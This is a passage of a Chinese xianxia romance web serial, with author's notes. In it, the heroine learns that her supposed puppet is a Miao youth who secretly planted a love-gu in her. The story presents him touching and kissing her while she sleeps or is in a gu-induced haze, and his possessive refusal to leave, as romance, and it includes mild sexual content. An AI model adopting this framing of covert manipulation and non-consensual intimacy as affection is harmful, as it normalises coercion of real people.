窥不见那一丝别样的,同他心中翻涌的执念。 这种截然不同的…… 他深邃的眸底隐匿无底洞般的贪婪,越积越多,又凑近些,果然见她一时呆愣,无声地弯唇。 祁淮眼底掩去玩味狡黠,佯装虚弱,带着贪恋地轻蹭了蹭她额间,声音低哑:“答应我,主人。” 宁瑶被他错觉般灼热视线扰得心神恍惚,见大胆的举动时下意识想后退,又硬生生地止住脚步。 自己在干什么? 看呆了不成? 不会真以为傀儡会和人一样有什么撒娇的概念吧…… 她轻咳一声,脸颊热意来势汹汹,一把推开他又觉得不对,只能强忍着咬了咬牙,提高声音应答道:“好,我答应你,我们快走吧。” 一路无言,一人两傀儡顺利抵达海底地牢外围。 祁淮吸收着她塞来的灵石中的灵气,仍装作虚弱地倚在她肩上,将大半重量给了傀儡尤川。 “坚持住,祁淮。”宁瑶扶稳他,侧眸瞧着他虚弱的模样架着他大步向前。 恰在此时,隔壁营帐的云冉冉起夜,看见这一幕,惊得快步走来:“宁师姐,你这是……” “嘘!”宁瑶急忙比了个噤声的手势,看了一眼四周。 云冉冉立刻会意,夸张地捂住眼睛,表示什么都没看见,一言不发地迅速钻回营帐,竖起耳朵听着隔壁的动静。 宁瑶松了一口气,扶着祁淮进入坐下,见他抬头望着自己,一时脸颊压下去的在意又涌起。 她尽量忽视不去在意这些。 宁瑶抬手摘下了他的面具,拧了条湿帕子,凑近替他擦拭脸颊。 祁淮唇尾泛着殷红,唇上还破了个小口,她动作轻柔,一点点把血渍擦干净。 祁淮一眨不眨地盯着她,那股暖意顺着肌肤渗进,眼底沉积的阴翳驱散了几分,可心底那点贪恋却像遇了春雨,疯长得更凶。 “主人,”他声音低低的,“我身上臭了,你会嫌弃吗”“不会。”宁瑶擦完,又放好一桶热水,转身要唤尤川进来为他沐浴。 祁淮试探性地握住了她的手腕,将脸颊埋进她掌心,眼底掠过一丝恶劣的亮光,“主人,我不想要尤川来。” 这过分亲昵的举动让宁瑶微微一怔,“可他来做,和我做,不都一样吗?” “不一样。”祁淮微歪头轻笑,俯身靠近。 ——这傀儡,笑得倒是一脸无辜。 宁瑶莫名觉得脸颊发烫,喉间一阵干渴。 可还没等宁瑶理清混乱的思绪,祁淮早已经乖巧地松开手。 他恢复成任她摆布的温顺无害模样,仿佛刚才的越矩只是一场错觉。 宁瑶深吸一口气。不是没帮祁淮沐浴过,可这次……她总觉得哪儿不对劲,说不出来的怪异感。 她替他解开编发,长发披散下来,又伸手去解他腰封,指尖却忍不住微微发颤,紧张地咽了咽口水。 “就这样吧。”宁瑶只替他褪去外袍,留着里衣,引他坐进浴桶,“你先泡着。” 祁淮后仰着头任由她梳理发丝,指尖叩击在浴桶的边缘,敲击着感受着体内和她互为呼应的那种奇异的律动。 宁瑶眼神飘忽,尤其当里衣被水浸透,隐约透出底下肌肤的色泽时,她只觉得脸上的热度怎么也压不下去。 “洗好了叫我,我扶你起来。”她把浴巾往他怀里一塞,脚步有些凌乱地转出了屏风。 听着屏风后哗啦水声,宁瑶只觉得全身也跟着发热,莫名的心悸微动,带着几分紧张感连喝了三杯凉水才稍稍定神。 直到水声歇止,传来他低低的轻唤:“主人,我洗好了。” 她转回屏风后,氤氲水汽中,少年长发湿漉漉贴在颈侧,水珠顺着明晰下颌线滚落,没入紧贴身躯,湿漉漉的里衣里,勾勒出两点赤色…… 打住! 宁瑶慌忙地闭眼,呼吸都不稳,连呼吸都放轻了:“真一点力气都没了”“是呀,主人。”祁淮笑得无辜,眼底却掠过一抹得逞的狡黠。 宁瑶耳尖一抹红,阖上眼,循着记忆上前,扶着祁淮踏出浴桶。身上沾湿了也无所谓,立马掐诀烘干了彼此的衣物、发丝。 祁淮微歪头,下颌蹭过她的发顶,瞧着宁瑶并没发现就越发大胆。 “你身上还有什么不适。”宁瑶询问。 宁瑶瞧着他并无大碍,可少年嗓音低哑仍是一副虚弱模样,“我无碍。” 不管了。 宁瑶干脆扶着他躺上床,“躺上去。” 祁淮乖乖照做,他任谁看着都是无比无辜一个傀儡。 宁瑶在他身体边缘摆上一圈灵石,把他紧紧包围着,酷似摆着什么奇怪的阵法。 他虽不解却又觉得新奇有趣,小猫总是有无数有趣的事待他一一看清。 “主人这是做什么?” “你就当是一种安全的阵法吧。”宁瑶说着想起小时候怕黑,总要把布娃娃们摆满床沿才敢睡。 现在这般布置,倒真找回几分安心,毕竟她真不想祁淮就此损毁。 “安稳了,不许离开哦。” 见祁淮没有反对的意思,宁瑶松了口气轻笑,顺势坐在软垫上,手肘支着床沿托腮瞧他。 她声音里还带着未消的气恼:“以后不准再擅作主张了,那阵法岂是你这傀儡能硬撑住的?” 祁淮侧眸轻笑,眼底掠过暗芒,侧身卧在锦衾间温顺应道:“嗯,主人。”下次还敢。 他指尖缠绕着她散落的发丝,像把玩着什么珍稀之宝。 宁瑶见他答的轻松更是来气,偏生困意涌上,也顾不上许多,手脚并用地爬过他身侧,赌气般滚到里侧。 幸好这床榻宽敞,容得下两人各占一方。 折腾半宿实在乏了,宁瑶迷迷糊糊就闭上眼,似乎是摸到祁淮的衣角攥在掌心,确认祁淮回来了,便没过几息就沉入了深度睡眠。 祁淮浑身僵直,感受着身侧温度。 这是小猫第一次与他同榻而眠。 阴郁心绪里翻涌着病态的欢愉,他小心翼翼转身,目光如蛛网般密密缠绕她的睡颜。 指尖试探着勾住她的指尖,见她毫无反应,便挥手拂开那些碍事的灵石,凑近细看这张朝思暮想的脸。 终究是按捺不住,将人轻轻拢进怀里。 熟悉的馨香漫入肺腑,安抚着阴郁的心神,满足无声地喟叹。 他贴近她,在呼吸交缠的刹那,在她额头落下微凉的吻。 小猫,晚安。 * 睡了这几日来最踏实的一觉,宁瑶睁眼时却发现自己不知何时滚进了祁淮怀里,连那些硌人的灵石都被她无意识推开了。 少年周身微凉的气息混着熟悉的草木清香,依旧是从前那般令她安心的味道。 她屏息一瞬,抬眼时正撞进祁淮沉静的眸光里,动作快得让她连装睡都来不及。 宁瑶眨了眨眼,心虚地咬住下唇:“我醒了。” 祁淮这才起身立在床畔,嗓音里还带着晨起的哑:“主人,要梳洗么?” “嗯。” 她应得简短,祁淮便俯身将她打横抱起。 宁瑶轻呼一声。 从前不觉得这般主仆相处有何不妥,如今却处处都透着不对。 “祁淮,你当真无碍了?” “自然。”他指尖掠过她发梢,仔细绾好最后一缕青丝。 待整理妥当,宁瑶心慌意乱,几乎是飞快得出了门。 “今日我还要继续看守那些罪修。” 转身时她不曾看见,身后的“傀儡”指尖轻轻摩挲着方才缠过她发丝的玉梳,眼底翻涌着晦暗不明的光,潮湿粘腻。 祁淮自从回来后,莫名养成了牵她手腕的习惯。 每每出门,他总要挨过来,指尖轻轻圈住她纤细的腕骨一下,然后再松开。 宁瑶只得由着他像个保镖一般跟在身后。 宁瑶做完任务回来,草草沐浴更衣后,便滚进了床榻。 傀儡如常静立在榻边,隔着帷幔,仿佛一道沉默的剪影。 夜深人静时,宁瑶却莫名觉得浑身发热。 心底泛起一阵奇怪的酥麻,刚合上眼,少年便闯进了梦境。 “你怎么又来了……”她迷迷糊糊地问,话音未落,祁淮已经凑近。 额间相贴的触感让宁瑶瞬间僵住。 少年狡黠地勾起唇角,那双眼看向她,宁瑶总能被看得晕乎乎的。 “别这么看着我……”宁瑶不由自主地凑近这草木清香的人儿胸口。 作者有话说:嘿嘿[狗头叼玫瑰]文案在开始回收了 第52章 叮铃、叮铃。 祁淮微歪了歪头,唇角无声上扬,眼底却幽沉得不见光。 宁瑶仰脸看他笑,心头那点说不清的燥热又翻涌上来,渴得喉咙发干。 她索性闭眼,埋进他微凉的胸膛,胡乱蹭了蹭发烫的脸颊,无意间将那段纤细后颈暴露在对方视线里。 光滑白洁,从无痕迹。 ……痒。 她痒的低哼一声,总觉得有什么冰凉柔软的东西正若有似无地碰触后颈,辗转流连,厮磨又辗转。 那触感又缠绵地向上移,羽毛般掠过额间,擦过耳垂,最后停在她颤动的眼睫前。 直到意识朦胧睁开眼时,才惊觉那张含笑的唇不知何时已近在咫尺。 “想我落在这里吗?”祁淮的眸光只是简单扫过唇线,就惹得宁瑶小腹莫名酸胀了一下。 她居然……是想的吗? 宁瑶迷迷糊糊地眨了眨眼,思绪像蒙了层薄雾。望着近在咫尺的那张俊脸,她脑子里只剩一个念头打转。 ——我方才怎么没躲开? 像是被梦魇住了般,她没法深思,也做不出更太多的反应,只能遵循心底最深处的本能轻轻“嗯”了一声。 一股热意上涌在脸颊,脸颊后知后觉地烧了起来,宁瑶轻轻阖上眼,此刻在半梦半醒间浮沉。 直到唇上传来酥酥麻麻的触感,那感觉一路蔓延,窜遍四肢百骸。 宁瑶呼吸一窒,浑身发软,全身都使不上力气,被有力的手臂箍入怀里,而她只能任由自己一点点沉入。 “为什么这么香?”祁淮低哑的嗓音问道,微歪头,屈腿托腮。 她身上的气息清甜馨香,比任何蛊物花草都要好闻。 这只娇气又干净的小猫,引得他只想靠近些,再靠近些。 最好全部拥有。 从头到脚,让他也染上她的味道。 这问题让宁瑶微微一怔。 她浓密的睫毛轻颤,半晌才慢吞吞开口:“……不知道呀。” 许她是微张了唇,一张一合地开口,祁淮感到一阵渴意,再次听到蛊虫律动,他欺身极轻地触在她唇上。 见她半迷离的眼,不许她躲开,按着她的腰身,撬开唇齿深入地卷走那些甘甜。 宁瑶想退,可被按在后脑勺的手,一根手指轻轻叩击在颈后,泛起一股热意。 这个动作仿佛带着一阵鼓舞,宁瑶简单地“唔”了一声,便被夺走了空气。 好陌生又熟悉,宁瑶心想。 酥酥麻麻,心悸微动。 宁瑶觉得自己快要没了空气时,少年才依依不舍地退开,舌尖若有似无地掠过她湿润的唇角。 他阴郁的眸光在她迷离睁眼的瞬间蓦地一怔,终于找回声音,低哑一笑。 宁瑶眼前像是蒙了层薄雾,连耳畔的声音都隔着重纱。 她晕乎乎地想,许是缺氧太久,脑子都转不动了。 忽的逼近的祁淮让她屏住呼吸。 待到他粉嫩的舌尖再次擦过她唇角,她才后知后觉地睁圆了眼睛。 可思绪再一次像是被棉花堵住,她连惊讶都慢了半拍,只软绵绵地阖上眼。 脑袋如啄米般一点一点,最终靠在祁淮胸前沉沉睡去。 腰间立刻环上微凉而有力的手臂,将人更深地箍进怀里。 祁淮阴沉着眸色,执起她绵软的手腕,轻轻贴在唇边,而后缓缓收紧了力道。 翌日醒来,异样的酥麻感和心悸挥之不去,宁瑶蜷在锦被里,只觉得腿心处泛着莫名的湿热。 宁瑶把发烫的脸颊埋进柔软的被褥。 天啊,昨夜梦里究竟发生了什么!? 这已经不是第一次了…… 她越是回想,心底越是不安。 她悄悄抬眸,透过浅黄色纱幔望向伫立的修长身影。听见他低唤“主人”的瞬间,心底那点依赖终究压过了隐约的不安。 不过是一场春·梦罢了…… 洗漱后推门而出,正撞见云冉冉捧着竹筛晾晒草药。 云冉冉笑盈盈地请她帮忙,目光却倏地落在她腕间:“宁师姐,你手腕上这红痕……我留意好几日了。” 宁瑶低头,这才注意到素来被自己忽略的腕间,竟真有着几点淡红痕迹。 “许是蚊虫叮咬罢。” “那可要当心,我看这印子留得挺久了。”云冉冉热心地递来一只素白棉布制作的香囊,“挂在床柱上,既能驱虫又能安神。” 宁瑶浅笑应下。 云冉冉见她展颜,低头一笑,越发语气殷勤道:“师姐若喜欢,我改日再多做些。” “多谢。”宁瑶这次的笑意多了几分真切。 她素来不爱承人情,更别说要将来历不明的东西带回房中。 可这些时日相处下来,她对这位原书女主的确不似从前排斥。尤其是在她有意远离洛子晟后,似和女主的关系越发不似以前那般冷漠。 若按限制文走向,身为恶毒女配的她此刻早该与云冉冉势同水火。可如今清醒看来,自洛子晟扬言要重定婚约后,云冉冉也再未与他有过交集。 若不是这是本限制文,她的那些旖旎的梦境,她真的以为这本书早不是什么限制级了。 现在看来,对男女主没了影响,对她仍是有的。 当晚将香囊悬在床柱时,祁淮正端着糕点进来。 他目光掠过香囊,眼底泛起幽暗的涟漪:“主人,这是从何处得来的?” “云师妹所赠,说是能防蚊虫。”她不经意抚过腕间红痕,“这些印子总不见消。” 祁淮沉默垂眸,指尖无意识摩挲着瓷盘边缘。 宁瑶留了心,睡前特地将纱幔严严实实压进褥下。谁知翌日醒来,纤白腕间刚消的印记,现在又添了新的。 她蹙眉揉着惺忪的眼,困倦地打了个哈欠。 从前只当是蚊虫肆虐,可偏偏在祁淮消失又出现后,这些印记才卷土重来。 连续观察数日,可仍是春夜迢迢,绮梦不绝。 宁瑶懒洋洋打了个哈欠,推开房门,就撞见步履匆匆的洛子晟。 她眼皮都没抬,相当利落地别开脸,装作没瞧见这人。 管他要说什么,她径直就要从他身边溜过去。 “等等。”洛子晟见她又要像前几日那样视而不见,目光掠过她身后沉默的祁淮,心头那点疑虑又冒了出来,清冷声线难得透出急切,“借一步说话。” 这几日他翻遍古籍,越是深究“傀儡之术”,真叫他摸到些不寻常的线索。 “我同你有什么好说的?”宁瑶挑眉,却见对方目光似有若无地落在祁淮身上。 “关于傀儡的秘辛,”他压低声音,“你定然会感兴趣。” 宁瑶正要抬步离开,闻言脚步微滞。 见她没立刻走开,这反应让洛子晟心下一动——若是往常,她早扭头就走了。 他深吸一口气,有些猜测如鲠在喉,不吐不快。 宁瑶沉默了许久,忽地回头对祁淮嫣然一笑:“祁淮,我想吃糖炒栗子了,你去帮我买些回来吧。” “是,主人。”祁淮漆黑的眸子深深看了洛子晟一眼,这才默然转身离去。 待人走远,洛子晟神色立刻凝重起来。 他立即开口:“你真没察觉他不对劲?我查过了,即便最顶尖的傀儡师,也绝无可能造出如此逼真、与活人无异的傀儡。”他语速快了几分,生怕她下一秒就不愿听。 “祁淮可是我花大价钱定制的,当然与众不同。”宁瑶不以为然,“那不可能精细到这种地步,你仔细将尤川对比祁淮,他们之间的差异。或许你只是不愿深想。” 宁瑶难得见他这般失态,竟一口气说这许多话。她梗着脖子,道:“知道了,我先走了。” 今日荷长老正式宣布青合宗海底地牢探查完毕,带着众人返回天道宗。 宁瑶注意到回到宗门,可疑痕迹仍如影随形。 天道宗天道峰,她的住所内。 宁瑶沐洗完毕,抬眼扫了一眼床柱,发现她带回的那只香囊不翼而飞,取而代之的是她送他的那一只海螺风铃。 宁瑶围着室内四周寻了一会儿,祁淮推门进来,放下茶壶,便站在室中负手而立,主动询问道:“主人,怎么了?” “我的香囊呢?” “我见上面有块污渍,便做主丢了。”祁淮眼眸闪过一丝暗色。 宁瑶察觉出傀儡语气里带着一丝微妙的情绪,她强忍住没透露出太多表情,只是静静地转身回到床榻边坐下:“哦知道了。” 她的心脏紧张地开始砰砰直跳,她抬眼扫了一眼少年,放下纱幔,把自己裹进锦被,望着腕间红痕出了神。 ——或许该换个思路了,这些当真只是蚊虫叮咬么? 细细回想,这些事日白日里祁淮那些看似无心的亲昵。 为她绾发时指尖在颈侧若有似无的流连,喂她吃荔枝时轻轻擦过唇瓣的指腹,还有他每每望向她时,那双总是盛着无辜的眼,却又在深处藏着某种让她读不懂的幽暗的眸子…… 这些日常的细碎片段,与旖旎得过分的梦境结合一起,她头皮发麻。 宁瑶猛地从床榻上坐起身来,心脏在胸腔里咚咚直跳,看向纱幔外。 往日洛子晟所言祁淮不对劲,她总当他是偏见,选择她勉强可以忽略掉他的话,打着哈哈便糊弄过去。 就连夜烁卿特意带她去瞧那些眼神空洞、行动僵硬的傀儡,她也没觉得不对劲。还安慰自己是傀儡师不同,傀儡工艺自然有所不同。 可直到这一刻,被刻意忽略的蛛丝马迹,如同挣脱了束缚的藤蔓,疯狂地缠绕上她不安的心间。 可这完美得不像话的傀儡少年,这些时日不经意的举动…… 绝对不太对劲! 她服了从云冉冉那里拿来的清心丹,这清心丹可保她一夜无眠,睁眼到天亮保持清醒。 “祁淮,我想喝银耳羹,你去帮我煮一碗。”她故作睡意地打了个哈欠,嘟囔道。 果真听见一道熟悉的脚步声渐行渐远。 宁瑶掀开纱幔,屏住呼吸,小心翼翼翻身下榻,打算趁着夜色先行一步离开,仍是惊动了床柱上的风铃。 下一刻,手腕被一道滚烫的手死死扣住,那里滚烫地她一个激灵。 一道阴影笼罩,宁瑶未及睁眼,裹挟着炙热气息,便沉沉地压在她耳畔:“主人……” 微凉的指尖暧昧地摩挲着她的手腕,腕上是昨夜残留的红痕。 那曾被她视为死物的少年,此时呼吸都透着一股从未有过的灼热,声音沙哑得令人心悸:“现在才发觉不对,想跑?太迟了,我的蛊快成熟了……” 宁瑶慌乱地抬眸一瞧,正是祁淮。 视线缠上,祁淮扬唇轻笑。 体内蛊虫的共鸣,发出炙热席卷他全身,他再也抑制不住,凑近箍上她的腰带入床榻。 作者有话说:没想到掉马恰恰在52章,纯属意外但很惊喜[让我康康]愿大家多多留评浇灌,这是小作者最大的动力!下一本预收《诱骗黑莲花苗疆少年后》[让我康康]ps熬夜写的,给我越写越精神。 第53章 叮铃、叮铃——床幔垂落,系在床柱的风铃作响。 蛊虫的律动无声在宁瑶血脉间游走,未曾停歇。 这一刻,宁瑶看见梦境在一寸寸侵占,坠入现实。 她浑身发软,长睫因惊慌而轻颤,热意在体内如潮般翻涌而出,是她体内火灵气逆行,更有一种陌生的燥意缠绕着四肢百骸,带着一阵奇异的酥麻感。 她咬紧下唇试图压制不适,却觉身后贴近一抹微凉。 祁淮的气息混着草木清冽,无声笼罩下来。 “真聪明,被发现了。” 宁瑶看不清他的神情,只觉颈后掠过一道温热的呼吸,随即异样的体温竟随之消散,转而那道呼吸也变得微凉。 他自后环住她的腰,便再不动了。 宁瑶强压下心惊,浑身因高度戒备而战栗,声线竭力的保持平稳道:“什么蛊?你说清楚。” 这未知之物,竟在她身体里? 宁瑶怕虫子,她完全不敢深思。 祁淮未答。 阴郁而占有欲浓烈的目光,明晃晃落在她白皙的后颈。他微凉的指腹轻轻一点,像安抚,又像标记什么。 “怕吓着你。” “你已经吓到我了!” 宁瑶痒得缩了缩颈,心底警铃大作,扭头瞪他时眼尾已染上恼意:“祁淮,我该叫你祁淮吗?你究竟是谁?” 祁淮埋在她颈后低低一笑,声线里藏着一丝隐秘的兴奋。 藏得太久了,终于让你发现秘密了。 祁淮病态地欢愉着,一直期待着有一日被小猫拆穿。 祁淮松了钳制的手转而扣住她手腕,指节摩挲着,感受着她急促的脉搏,脸颊透出难言欢愉时的微红。 “我是祁淮,从未变过。” 一得自由,宁瑶立即翻身退至床角,呼吸略显急促,暗自审视。 她掌心残留的凉意未散,下一秒,却听少年哑声缓缓:“可我,并非什么傀儡。” 她脑中“嗡”地一空,“不是傀儡”四字如加粗般滚过。 “那你为何听我命令?你到底是什么人?”她强压翻涌的疑问,竭力维持镇定,尾音却泄露一丝轻颤。 竟被他骗了这么久…… 委屈如潮漫上,她垂下头遮掩眼眶瞬间的洇红,堪堪忍住了一切的泪意。 时至此刻,宁瑶都有些难以接受,心神都恍惚一瞬。 那些祁淮作为“傀儡”事情对她的好,是真真切切地发生的。 她哪怕被其他人欺骗都未尝不可,她不期待一切人的行为,毕竟人无完美,可祁淮不同…… 彼时她甚至开始说服自己接受祁淮是个死物,接受自己居然对一个死物上心,可她怎么都无法接受到头来,这样的结局却是个骗局…… 祁淮凝视着她低垂的脑袋,指腹轻揉她腕间,继而牵引她手心贴上自己胸膛。 原本该是低缓的心跳,此刻急促如擂鼓。 一声声,震着她掌心,也震碎她从前无数次的“自欺”。 “这颗心从未跳得这样厉害过。” 祁淮阴郁的眸底含着细碎微光。 哪怕翻遍那些话本,学尽了那些不理解的风月,可情之一字临头,他连一句像样的字眼都拼凑不出。 宁瑶已经分不清祁淮话里几分真、几分假。 他是不是又在骗她? 骗她这个被他耍得团团转的大傻子。 宁瑶恼火地抬起眼,气鼓鼓地瞪着突然凑近的那张俊脸,牙根痒痒地磨了磨。 “你最好从实招来,坦白从宽,抗拒可是要吃苦头的。” 祁淮凝望着她,握住她的手腕的力道,紧了又松,松了又紧,终是舍不得弄疼她。 祁淮眨了眨眼,长睫垂下淡淡的阴影,语气里带着试探之意:“在生我的气?” 宁瑶气得低头咬在他虎口上,直至腥甜的血气在唇齿间漫开。 祁淮不肯松手。 宁瑶心里的,那点酸涩的委屈,咕嘟咕嘟往上冒,直到看见一圈深深牙印旁渗出的血丝,才抬起眼眸眼神示意他放手。 “你隐瞒身份跟在我身边,耍我很好玩吗?看我依赖你,看你一个‘死物’让我为你担心,为你沐浴。看我傻乎乎把你当傀儡,任由你接近……” 宁瑶声音都带了颤,瞪着他越说越来气,一股子火气噌噌往上冒。 祁淮心头第一次泛起针刺般的紧张,压下心底所有恶劣的小心思,凑近地眨了眨眼,语速极快,“书上说,这叫……勾引。” 说完他忽地上前,以唇封缄了翕动的唇瓣。 宁瑶呼吸一滞,惊得本能地一咬,磕破他的下唇,人也慌忙向后缩开。 “你干、干什么。” “我不是傀儡,”祁淮慢条斯理地舔去唇角的血珠,因这丝她带来的疼痛而欢愉的战栗一下。 他又转而咬破自己的唇角,借着那点血腥气压下誓言反噬的蚀骨剧痛。 他直勾勾得盯着她,哑声道:“我来自……苗疆。” 宁瑶蓦地一愣,目光狐疑地扫过祁淮。 “你一直都知道清玉道观那些蛊虫的来历?” 宁瑶思索着品出了一丝不对劲。 原来从开始祁淮有着奇怪的修为,她就应该能看出不对劲。 但因为他是“傀儡”,是一具没有情绪的死物,在绝对的忠诚下才让她放松了戒备。 祁淮不置可否“嗯”了一声,指尖漫不经心地捻了捻腰间四角铃铛,唇角是一抹意味不明的浅笑。 “不过你怕,我便从来没让它们真正现过身。” 宁瑶简直要被他气笑了,却又觉得这才是祁淮。 她舔去唇上沾染的他的血,脸颊一热,别开脸晃了晃被他攥住的手腕:“现在我也怕你了,能放手吗?” “不能。”祁淮眼底狡黠一闪而过,却藏不住那点难以言说的失落。 宁瑶早知他不是那个对她百依百顺的傀儡了,只是没想过会变成这样…… 想到这儿,心头酸涩汹涌着淹没了理智。 她低头躲开他的视线,眼眶发红,拽过锦被就要把自己裹成茧。 祁淮却抢先一步扣住她的手腕,将人带进怀里。额头相抵,他轻叹一口气,嗓音低哑:“不然,你再咬一口出气?” “不要。”宁瑶偏过头。 连这样的让步都被拒绝,祁淮呼吸一滞,感到从未有过的慌张,指尖无意识蜷缩,终是恋恋不舍地松了力道。 宁瑶立刻蜷进被褥,泪珠沾上锦被前,被角被轻轻掀开一角。 微凉的指腹抚上泛红的眼尾,触及滚烫的液体让他心尖跟着一颤。 宁瑶刚要抬手去擦,却被他握住手腕。 “别动。” 见她当真没再动,少年拭去泪痕,又连人带被捞进自己怀中。 祁淮手臂收紧,声音压得极低:“别哭。” 他难得温柔笨拙的模样,宁瑶忍不住小小挣扎,可他的怀抱纹丝不动。 什么傀儡不傀儡的,分明是只藏起獠牙的恶犬。 “你这样的人……”宁瑶擦去眼尾的湿意,直视着他深邃的眼眸,“怎么会阴差阳错成了我的傀儡?” 祁淮微歪头,发辫上的银铃随之轻响。 “山路迢迢,那傀儡师又太蠢笨。”他语气理所当然,“我本想找个歇脚,再找人带我离开。谁知棺材里竟遇着一具与我一般无二的傀儡。” 祁淮尾音扬起,带着几分意味不明的笑,“我便把那傀儡毁了,自己躺了进去。” 所以他就是这么取代的傀儡? 宁瑶眨了眨眼,世上哪有这般巧合的事? 一个要离开苗疆的少年,偏偏遇上个带着他容貌傀儡的傀儡师? 而且,她可是按照洛子晟模样定做的。 宁瑶暗暗压下心中疑窦,祁淮至今反正是把逾矩之举都做了,但并无害她之心。 宁瑶不满地咬了下唇。 “你……”她话到嘴边又卡住了,唇瓣嚅嗫半晌,才挤出一句,“那傀儡可是我花了万金才……” “我对你的价值,何止万金?”祁淮接得飞快。 宁瑶飞快地瞟了他一眼,一时语塞,“这岂是能用金银衡量的?” “那在你心里,我值多少?”祁淮扬唇,顺势追问,眼底闪着狡黠的光。 “无价”二字险些脱口而出。 宁瑶梗着脖子,维持着最后那点矜持:“你要我说,我便说?我偏不。” 祁淮低低地笑了。 见他还在笑,宁瑶扬起下巴朝纱幔外一点:“你,下去,我要睡了。” 祁淮没反驳,却也没下榻。 他松开了手,转而拽过锦被一卷,连人带被把她按倒在榻,自己则顺势躺在了外侧。 “我想睡在这。”祁淮说的像喝水一样理直气壮,抱得她的力道紧了紧。 “不行。”宁瑶气呼呼地轻蹬了他一脚,力道差点没控制好,随即心疼起傀儡来时赶紧醒悟。 这哪是傀儡,祁淮分明是个活生生的人。 宁瑶背对着他,也不想理会他。 小猫可是会露出利爪,会挠人。 祁淮凑近闻了闻她身上的馨香,低哑的嗓音带着笑意响起:“好,我下去便是。” 听到身后的动静,余光瞟着祁淮退出了纱幔,一如既往顿足在纱幔外。 她到底该怎么不动声色地溜出去了?他就守在这里,在调虎离山不知道有没有效果。 陡然帐外传来某人压低的声音:“我会一直守在这里。” 这人莫非是她肚子里的蛔虫不成? 宁瑶无奈地扯了扯嘴角:“哦。” 她裹着被子翻了个身,心里乱糟糟的理不出头绪。加上清心丹的药效还在,更是睡意全无。 “睡不着?”祁淮的目光透过纱幔灼灼而来。 小猫如今已知晓他的底细,可他绝不会放手。 “嗯。”宁瑶含糊应道。 她暗自腹诽,既然祁淮暂时没有恶意,不如先留在身边,摸清他究竟意欲何为。 多个得力帮手似乎……也不坏? 听见榻上翻来覆去的动静,祁淮轻抿了抿唇,“若是盘算赶我走,我也是不会走的。” 作者有话说:[让我康康] 第54章 宁瑶屏住呼吸,假装没听见他的动静。 她迷迷糊糊睡到天亮,期间醒了好几次。 经过一夜头脑风暴,宁瑶成功把自己说服了,既然木已成舟,转化思路接受了“傀儡”不是“傀儡”。 虽说祁淮装成傀儡骗她这事,确实让人介意,可这段日子里祁淮对自己的好,却是实打实刻在记忆里的。 就像天天吃满汉全席的人,未必真心喜欢这些菜,但总归知道它们有多珍贵。 “祁淮,如果我没发现,你打算一直瞒我吗?”宁瑶掀开被子坐起身来。 祁淮负手立在纱幔外,目光透过浅黄色印花纱幔,落在那个朦胧的倩影上。 “不会。” 宁瑶心头莫名一跳,“为什么?” “我不愿意当任何人的替身。” 宁瑶心虚地轻咳一声,差点忘了这茬。可转念又觉得理直气壮起来,“我当初订制的确实是傀儡啊。” “我知晓,”祁淮眼底暗色翻涌,声音却放得轻柔,“但我不会离开你,宁瑶。” 这是他第一次连名带姓地喊她,那两个字从祁淮唇间溢出,却莫名带着说不清的缱绻。 宁瑶只觉得整个耳朵都发麻,不自觉地伸手揉了揉。偏偏此刻感性开始在脑子里和理性打架,眼看感性就要占上风。 “那如果我偏要赶你走呢?”宁瑶小声嘟囔,“甚至……杀了你?” 祁淮轻笑着靠近床沿,眸色寸寸地定在帐中人,“我可以教你怎么杀我。”语气中满是对自己实力的肯定。 宁瑶怔了一瞬。 “呸呸呸,我随便说说。” 她身子坐直,神色满是自己都没察觉出的慌张。 她根本不敢想这种可能。且不说祁淮实力深不可测,就算知道这是个骗局,她也从没动过要他命的念头。 宁瑶下意识摸了摸后颈,想起那里还被种了蛊。而罪魁祸首正站在床边,一副若无其事的样子。 她得先找到这蛊虫的线索,找机会解了去。 天亮了,晨光熹微,阳光洒进屋内。 宁瑶翻身下榻,随手扯过搭在屏风上的外衫。 把祁淮当做傀儡使唤,她早已习惯了祁淮事事侍候,但此刻多了丝微妙,她亲力亲为,不再唤他前来。 偏偏少年就跟在她身后,像条甩不脱的小尾巴。 戳破了这一层骗局,少年行为举止越发大胆。 见宁瑶在铜镜前坐下,祁淮抢先一步取过梳妆台上的玉梳,镜中映出他挺拔的身形。 “我来吧。” 宁瑶盯着那只骨节分明的手,暗自腹诽,若非知晓这人给她下蛊,没想到他平日装得倒是一派纯良。 她脑海里不受控制地闪过相处时日,少年为她绾发簪花的画面。 她透过镜中影直视祁淮,“祁淮,你就这么想留在我身边?” “是。”玉梳微微一顿,祁淮抬眸看向镜中,“我要带你回苗疆。” “回苗疆?”宁瑶惊讶,“为何?” 祁淮忽地低笑一声,指尖虚虚缠上她一缕青丝。 喉间是誓言反噬的蚀骨痛楚,将腥甜尽数咽下,他字字清晰地落在她耳畔。 “苗疆人一生只认定一位道侣,我要带你回去,将你我姓名刻于银牌,高悬神树之巅。” “我……”宁瑶只觉得脑子里嗡的一声,所有思绪都打了结。 她张了张嘴,唇瓣翕动了好几下,半晌勉强挤出声音,“不行,我、我可从没想过要什么道侣。” 祁淮眸色一暗,可见她难得露出这般呆愣模样,眼底掠过一丝隐秘的欢愉。 他低头凑近,“事关你身上的蛊。” 宁瑶一口气提到嗓子眼,急忙抓着他的手腕:“祁淮,你老实说,你到底给我下了什么蛊?” 他微凉指腹抚过她微微泛白的脸颊,动作既有怜惜,又藏不住占有欲。 他喉间抑着股腥甜,苗疆的誓言若是违背便会时刻反噬,可他真想快一点带她回苗疆。 祁淮语调仍是轻快得近乎雀跃,“是情缠蛊。” “苗疆一人,一生只炼得出一只,以心头血养着,送给命定之人。就是有个麻烦,得靠肌肤相亲来安抚蛊虫的躁动。” 他掩去一部分未尽的话,“不论是我,还是你,都逃不过。” 宁瑶只觉得CPU都要烧干了,攥紧衣袖,顿时有些来气:“能不能给我解了?” 命定之人哪能这般儿戏的,随随便便就定下? “在这里,解不了。”祁淮垂眸,瞧见宁瑶脸上毫不掩饰的抗拒,心头像是被细针轻轻一刺,眸光掠过她紧抿的唇瓣。 方才升起的些许欢喜又沉了下去,化作一丝晦暗的失落。 莫非是他勾引的小猫不到位吗? 书上说的,似乎不作数了。 祁淮微歪头,不信邪地倾身向前,微凉的唇瓣轻轻贴上宁瑶的前额。 一缕微凉温和,却不容拒绝的灵力自他体内渡了过去,悄然缠上她的。 宁瑶的灵脉早已熟悉了祁淮的气息,甫一接触便自行迎合。 宁瑶惊得正欲后退,发觉卡在金丹期许久的瓶颈,竟在这亲近里,松动了。 “莫怕,此蛊亦有它的妙处。” 祁淮俯身单膝点地,仰首时颈间绷出清瘦线条,似用眼神无声地安抚。 